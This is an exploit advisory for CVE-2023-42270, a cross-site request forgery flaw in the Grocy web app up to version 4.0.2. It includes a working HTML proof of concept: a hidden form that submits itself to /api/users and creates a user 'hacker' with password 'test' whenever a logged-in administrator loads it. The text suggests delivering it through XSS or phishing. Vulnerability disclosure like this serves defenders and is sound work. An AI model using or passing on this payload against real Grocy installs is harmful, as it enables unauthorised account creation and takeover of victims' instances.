# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability# Application: Grocy# Version: <= 4.0.2# Date: 09/21/2023# Exploit Author: Chance Proctor# Vendor Homepage: https://grocy.info/# Software Link: https://github.com/grocy/grocy# Tested on: Linux# CVE : CVE-2023-42270
Overview
==================================================
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.
This makes it easy to adjust your request since it is a known format.
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.
This allows for html code to generate a new user aslongas the target is logged inand has Create User Permissions.
Proof of Concept
==================================================
Host the following html code via a XSS or delivery via a phishing campaign:<html><form action="/api/users" method="post" enctype="application/x-www-form-urlencoded"><input name='username' value='hacker'type='hidden'><input name='password' value='test'type='hidden'><inputtype=submit></form><script>
history.pushState('','','/');
document.forms[0].submit();</script></html>
If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials
Username: hacker
Password: test
Note:
In order for this to work, the target must have Create User Permissions.
This is enabled by default.
Proof of Exploit/Reproduce
==================================================
http://xploit.sh/posts/cve-2023-42270/